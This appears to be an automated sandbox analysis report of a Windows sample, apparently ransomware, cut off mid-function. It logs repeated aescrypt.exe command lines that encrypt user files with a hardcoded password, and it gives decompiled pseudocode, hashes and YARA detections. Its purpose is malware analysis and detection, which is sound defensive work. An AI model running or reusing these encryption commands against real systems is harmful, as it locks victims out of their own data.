MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000021.00000002.245059408.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000021.00000000.244836179.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6504 Parent PID: 6680

General

Start time:	13:21:56
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000023.00000000.246267140.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000023.00000002.246439488.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6604 Parent PID: 6680

General

Start time:	13:21:57
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000025.00000000.247382985.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000025.00000002.247615101.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6396 Parent PID: 6680

General

Start time:	13:21:57
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000026.00000000.248461783.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000026.00000002.248845203.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6524 Parent PID: 6680

General

Start time:	13:21:58
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_8[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000027.00000002.249550361.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000027.00000000.249419020.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: hztxqReczN.exe PID: 6608 Parent PID: 5712 hztxqReczN.exeCOMMON

Executed Functions

Function 0040A6F6, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040A6F6(void* __eflags, intOrPtr _a4) {
				_Unknown_base(*)()* _t9;
				signed int _t11;
				signed int _t12;
				void* _t13;
				WCHAR* _t14;
				struct HINSTANCE__* _t17;

				_t14 = E0040E200(0x104, _a4);
				_t12 = GetTempPathW(0x104, _t14);
				_t17 = LoadLibraryW(L"Kernel32.DLL");
				if(_t17 != 0) {
					_t9 = GetProcAddress(_t17, "GetLongPathNameW");
					if(_t9 != 0) {
						_t11 =  *_t9(_t14, _t14, 0x104); // executed
						_t12 = _t11;
					}
					FreeLibrary(_t17);
				}
				E0040E350(_t13, 0x104 - _t12);
				_t14[_t12] = 0;
				return 0;
			}

0x0040a709
0x0040a718
0x0040a720
0x0040a724
0x0040a72c
0x0040a734
0x0040a739
0x0040a73b
0x0040a73b
0x0040a73e
0x0040a73e
0x0040a747
0x0040a74e
0x0040a756

APIs

Part of subcall function 0040E200: TlsGetValue.KERNEL32(0000001B,00001000,00000000,00000000), ref: 0040E20C
Part of subcall function 0040E200: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040E267

GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 0040A70D
LoadLibraryW.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A71A
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040A72C
GetLongPathNameW.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000), ref: 0040A739
FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A73E

Strings

GetLongPathNameW, xrefs: 0040A726
Kernel32.DLL, xrefs: 0040A713

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryPath$AddressAllocateFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 1993255246-2943376620
Opcode ID: d718137a791e701f6bd57810b192c1db4f572494fd9ecd74e792e9dadcbe4658
Instruction ID: 764606bb569eff9aa2a854e4b0558f5753b22c8873abefb13c435e0df7790d1f
Opcode Fuzzy Hash: d718137a791e701f6bd57810b192c1db4f572494fd9ecd74e792e9dadcbe4658
Instruction Fuzzy Hash: B4F0E9322012147FC2102BB6AC4CEEB3E6CDF95755701443AF904E2251DB69CC20C2BD

Uniqueness

Uniqueness Score: -1.00%

Function 004098D0, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004098D0(_Unknown_base(*)()* _a4) {
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;

				 *0x4170e8 = _a4;
				_a4 = E00409890;
				_t6 = _a4;
				if(_t6 == 0) {
					_t7 = SetUnhandledExceptionFilter( *0x4170f0);
					 *0x4170f0 = 0;
					return _t7;
				} else {
					if( *0x4170f0 != 0) {
						_a4 = _t6;
						return SetUnhandledExceptionFilter(??);
					}
					_t8 = SetUnhandledExceptionFilter(_t6); // executed
					 *0x4170f0 = _t8;
					return _t8;
				}
			}

0x004098d4
0x004098d9
0x004099f0
0x004099f6
0x00409a20
0x00409a26
0x00409a30
0x004099f8
0x004099ff
0x00409a01
0x00409a05
0x00409a05
0x00409a0c
0x00409a12
0x00409a17
0x00409a17

APIs

SetUnhandledExceptionFilter.KERNELBASE(00409890,0040116F,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008), ref: 00409A0C
SetUnhandledExceptionFilter.KERNEL32(0040116F,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008,00000008), ref: 00409A20

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b0f608e405cae46fc8e63b589dbaca7258740b989b39933334343d4a09fb59f
Instruction ID: 2c8fa190a6d032f87ec30cf03d38c93985f91324802676e59826f832aed0a575
Opcode Fuzzy Hash: 8b0f608e405cae46fc8e63b589dbaca7258740b989b39933334343d4a09fb59f
Instruction Fuzzy Hash: 38E0E5B0208341EFC710CF18E948B867BF5B788701F01C43AE445922A5E7348C44EF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040195B, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0040195B(char __edx) {
				intOrPtr _v12;
				char _v16;
				signed int _v24;
				WCHAR* _v28;
				intOrPtr _v32;
				char _v40;
				WCHAR* _v52;
				WCHAR* _v76;
				WCHAR* _v100;
				intOrPtr _v116;
				void* _t28;
				void* _t29;
				void* _t35;
				void* _t36;
				void* _t44;
				void* _t45;
				void* _t54;
				void* _t55;
				void* _t63;
				void* _t68;
				char* _t72;
				void* _t74;
				void* _t75;
				void* _t79;
				char _t86;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_t86 = __edx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E0040DF60();
				 *0x41702c = 0x416107;
				_v28 = 0;
				while(1) {
					_t103 = 3 - _v28;
					if(3 < _v28) {
						break;
					}
					_t72 =  *0x41702c; // 0x41609a
					_v24 =  *_t72;
					 *0x41702c =  *0x41702c + 1;
					_t74 = E0040DE20();
					_t97 = _t86;
					_push(_t74);
					_push(_t97);
					_t75 = E0040DE20();
					E00405D60(_t103, _v24 * 0xffffffff);
					E0040DE60( &_v28, _t75);
					_push(_v32);
					_t79 = E0040DE20();
					_pop(_t100);
					E0040DFC0(_t100);
					_t86 = _v40;
					E0040DFC0(_t86);
					E0040DE60( &_v40, _t79);
					 *_t101 =  *_t101 + 1;
					_t104 =  *_t101;
					if( *_t101 >= 0) {
						continue;
					}
					break;
				}
				_v16 = E00409B40(0x400);
				_t28 = E0040DE20();
				_t87 = _t86;
				_push(_t28);
				_t29 = E0040DE20();
				_t88 = _t87;
				E0040A6F6(_t104, _t29);
				_push( &_v16);
				E0040DE60();
				GetTempFileNameW(_v24, 0x416020, 0, _v28); // executed
				_t35 = E0040DE20();
				_t89 = _t88;
				_push(_t35);
				_t36 = E0040DE20();
				_t90 = _t89;
				E00409B60(_v28, _t36);
				_push(0x417070);
				E0040DE60();
				E0040A787( *0x417070);
				E0040A665( *0x417070); // executed
				GetTempFileNameW( *0x417070, 0x416020, 0, _v52); // executed
				_t44 = E0040DE20();
				_t91 = _t90;
				_push(_t44);
				_t45 = E0040DE20();
				_t92 = _t91;
				E00409B60(_v52, _t45);
				_push(0x417024);
				E0040DE60();
				E0040A787( *0x417024);
				E0040A665( *0x417024); // executed
				GetTempFileNameW( *0x417024, 0x416020, 0, _v76); // executed
				PathAddBackslashW( *0x417024);
				_t54 = E0040DE20();
				_t93 = _t92;
				_push(_t54);
				_t55 = E0040DE20();
				_t94 = _t93;
				E00409B60(_v76, _t55);
				_push(0x417038);
				E0040DE60();
				E0040A787( *0x417038);
				PathRenameExtensionW( *0x417038, _v100);
				GetTempFileNameW( *0x417024, 0x416020, 0, _v100); // executed
				_t63 = E0040DE20();
				_t95 = _t94;
				_push(_t63);
				E00409B60(_v100, E0040DE20());
				E0040DE60(0x417068, _t95);
				_t68 = E00409B20(_v116);
				return E0040DEF0(E0040DEF0(E0040DEF0(_t68, _v12), _v28), _v28);
			}

0x0040195b
0x0040195e
0x0040195f
0x00401960
0x00401961
0x00401962
0x00401963
0x00401964
0x0040196e
0x00401973
0x0040197c
0x00401981
0x00401984
0x00000000
0x00000000
0x00401986
0x0040198e
0x00401992
0x00401999
0x0040199e
0x0040199f
0x004019a0
0x004019a1
0x004019b0
0x004019ba
0x004019c3
0x004019c4
0x004019c9
0x004019cc
0x004019d1
0x004019d6
0x004019e0
0x004019e5
0x004019e5
0x004019e8
0x00000000
0x00000000
0x00000000
0x004019e8
0x004019f4
0x004019f9
0x004019fe
0x004019ff
0x00401a01
0x00401a06
0x00401a08
0x00401a11
0x00401a12
0x00401a2a
0x00401a30
0x00401a35
0x00401a36
0x00401a38
0x00401a3d
0x00401a43
0x00401a4e
0x00401a4f
0x00401a5a
0x00401a65
0x00401a7f
0x00401a85
0x00401a8a
0x00401a8b
0x00401a8d
0x00401a92
0x00401a98
0x00401aa3
0x00401aa4
0x00401aaf
0x00401aba
0x00401ad4
0x00401adf
0x00401ae5
0x00401aea
0x00401aeb
0x00401aed
0x00401af2
0x00401af8
0x00401b03
0x00401b04
0x00401b0f
0x00401b1e
0x00401b38
0x00401b3e
0x00401b43
0x00401b44
0x00401b51
0x00401b5d
0x00401b66
0x00401b8e

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000001B,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C), ref: 0040DF77

GetTempFileNameW.KERNEL32(?,00416020,00000000,00000000,?,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000,004043B9), ref: 00401A2A
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,?,00000000,00000000,?,00416020,00000000,00000000,?,00000000,00000000,00000400,00000000), ref: 00401A7F
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,00000000,?,00000000,00000000,00416020,00000000,00000000,00000000,?,00000000,00000000,?,00416020), ref: 00401AD4
PathAddBackslashW.SHLWAPI(00416020,00000000,00000000,00000000,?,00000000,00000000,00416020,00000000,00000000,00000000,?,00000000,00000000,?,00416020), ref: 00401ADF
PathRenameExtensionW.SHLWAPI(?,00000000,?,00000000,00000000,00416020,00000000,00000000,00000000,?,00000000,00000000,00416020,00000000,00000000,00000000), ref: 00401B1E
GetTempFileNameW.KERNEL32(00416020,00000000,00000000,?,00000000,?,00000000,00000000,00416020,00000000,00000000,00000000,?,00000000,00000000,00416020), ref: 00401B38

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040DEBC

Strings

`A, xrefs: 00401B2C
`A, xrefs: 00401A20
`A, xrefs: 00401A73
`A, xrefs: 00401AC8

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameTemp$Value$AllocateErrorHeapLastPath$BackslashExtensionRenamewcslen
String ID: `A$ `A$ `A$ `A
API String ID: 368575804-2594752929
Opcode ID: 1ba5b1041860197bcb70b5f8865f6e3a244e24124e7517cd294dd1039848c71c
Instruction ID: da94853b8b5bd26d1bd5120d1b9c906e5f4cf8f619d60ffb6644f8987c096960
Opcode Fuzzy Hash: 1ba5b1041860197bcb70b5f8865f6e3a244e24124e7517cd294dd1039848c71c
Instruction Fuzzy Hash: 6651EEB59047006ED601BBB2DD42E7F7B7EEB98318F00883FB540690E2C63D9C559A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 104
memoryCOMMON

Download Yara Rule

C-Code - Quality: 71%

			_entry_(void* __ecx, void* __edx, void* __eflags) {
				void _t3;
				void* _t6;
				void* _t13;
				void* _t36;
				intOrPtr _t50;
				void* _t51;
				void* _t54;
				void* _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t63;

				_t63 = __eflags;
				_t54 = __edx;
				_t51 = __ecx;
				memset(0x417008, 0, 0xac);
				 *0x41700c = GetModuleHandleW(0);
				_t3 = HeapCreate(0, 0x1000, 0); // executed
				 *0x417008 = _t3;
				E00405000(_t54);
				 *0x41702c = 0x416084; // executed
				_t6 = E0040DDD0(); // executed
				E0040DB41(_t6);
				E00409D61(E0040A2C9(E0040AA40()));
				E00409AE0();
				E00409609(); // executed
				_t13 = E00408D8E(_t51); // executed
				E004053BB(_t13);
				E0040C6E3(_t63);
				E0040B190(_t63);
				E00405068(0x417014, 0x41602a);
				 *0x417034 = GetStdHandle(0xfffffff5);
				_push(0x200);
				_push(0x4170b0);
				E00409D80(4, 0x15, 0);
				E0040A37A( *0x417098);
				E0040A2E8(8, 0x417098, 0x416074, 7);
				E0040A37A( *0x4170a0);
				E0040A2E8(4, 0x4170a0, 0x41606c, 8);
				_push(0x417090);
				_push(0x41607c);
				E0040DB6A(0xc, 0x186a1, 7);
				E00405068(0x417064, 0x416036);
				E0040A37A( *0x4170a8);
				E0040A2E8(4, 0x4170a8, 0x41606c, 8);
				E004098D0(E00401F3B);
				_t36 = E0040DE20();
				_t57 = 0x416036;
				E00402F41(0x417064, _t57, _t63, _t36);
				_push("`Fc");
				E0040DE60();
				E00401B8F(0x417064, _t57, _t63);
				_t50 =  *0x417050; // 0x0
				_t64 = _t50 - 1;
				if(_t50 == 1) {
					E00403001(0x417064, _t57, _t58, _t59, _t64);
				}
				E00403DF3(0x417064, _t58, _t59, _t60);
				_push(0);
				L5();
				E0040DE00();
				HeapDestroy( *0x417008);
				ExitProcess(??);
				E00405379();
				E004098F0();
				E0040A655();
				E0040D264(E0040AA30());
				return E00409AD0();
			}

0x00401000
0x00401000
0x00401000
0x0040100f
0x00401021
0x00401035
0x0040103a
0x0040103f
0x00401049
0x0040104e
0x00401053
0x00401062
0x00401067
0x0040106c
0x00401071
0x00401076
0x0040107b
0x00401080
0x00401090
0x0040109f
0x004010a9
0x004010b0
0x004010be
0x004010c9
0x004010e4
0x004010ef
0x0040110a
0x0040110f
0x00401114
0x00401128
0x00401138
0x00401143
0x0040115e
0x0040116a
0x00401170
0x00401175
0x00401177
0x0040117c
0x00401181
0x00401186
0x0040118b
0x00401191
0x00401194
0x00401196
0x00401196
0x0040119b
0x004011a0
0x004011a5
0x004011aa
0x004011b5
0x004011ba
0x004011bf
0x004011c4
0x004011c9
0x004011d3
0x004011dd

APIs

memset.MSVCRT ref: 0040100F
GetModuleHandleW.KERNEL32(00000000), ref: 0040101C
HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035

Part of subcall function 0040DDD0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040DDDC
Part of subcall function 0040DDD0: TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040DDE7

Part of subcall function 00409AE0: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409AE9

Part of subcall function 00409609: InitializeCriticalSection.KERNEL32(004176C8,00000004,00000004,004095DC,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 00409631

Part of subcall function 00408D8E: memset.MSVCRT ref: 00408D9B
Part of subcall function 00408D8E: InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408DB5
Part of subcall function 00408D8E: CoInitialize.OLE32(00000000), ref: 00408DBD

Part of subcall function 004053BB: InitializeCriticalSection.KERNEL32(004176A0,0040107B,00000000,00001000,00000000,00000000), ref: 004053C0

GetStdHandle.KERNEL32(FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040109A

Part of subcall function 00409D80: HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409D9F
Part of subcall function 00409D80: HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409DC5
Part of subcall function 00409D80: HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E22

Part of subcall function 0040A37A: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000), ref: 0040A3B8
Part of subcall function 0040A37A: HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A3D1
Part of subcall function 0040A37A: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A3DB

Part of subcall function 0040A2E8: HeapAlloc.KERNEL32(00000000,00000034,?,?,?,004010E9,00000008,00000000,00416074,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A2FB
Part of subcall function 0040A2E8: HeapAlloc.KERNEL32(FFFFFFF5,00000008,?,?,?,004010E9,00000008,00000000,00416074,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A310

Part of subcall function 0040DB6A: RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 0040DB9A
Part of subcall function 0040DB6A: memset.MSVCRT ref: 0040DBD5

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 00401B8F: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,`Fc,00000000), ref: 00401BCD
Part of subcall function 00401B8F: EnumResourceTypesW.KERNEL32 ref: 00401BEA
Part of subcall function 00401B8F: FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401BF2

HeapDestroy.KERNEL32(00000000,`Fc,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 004011B5
ExitProcess.KERNEL32(00000000,`Fc,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 004011BA

Strings

*`A, xrefs: 00401085
`Fc, xrefs: 0040117C
6`A, xrefs: 0040112D

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Alloc$Free$CreateInitializememset$AllocateCriticalErrorHandleLastLibrarySectionValue$CommonControlsDestroyEnumExitInitLoadModuleProcessResourceTypes
String ID: *`A$6`A$`Fc
API String ID: 2062415080-3645758660
Opcode ID: 1abe17b022b02830fc4d873b52a8b8611f819b2189e3f8509569470ef6cc0a1a
Instruction ID: 054f58a703c2077171097cea621e0c228d2d39f1c558e4fc4fd495567313132e
Opcode Fuzzy Hash: 1abe17b022b02830fc4d873b52a8b8611f819b2189e3f8509569470ef6cc0a1a
Instruction Fuzzy Hash: 33311C30A84700A9E610B7F29C43FAE3A65AF1874DF11803FB649791E3DEBD55448A6F

Uniqueness

Uniqueness Score: -1.00%

Function 00403DF3, Relevance: 14.6, APIs: 4, Strings: 4, Instructions: 640
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00403DF3(void* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a20, intOrPtr _a28, intOrPtr _a44) {
				char _v0;
				signed int _v4;
				WCHAR* _v8;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
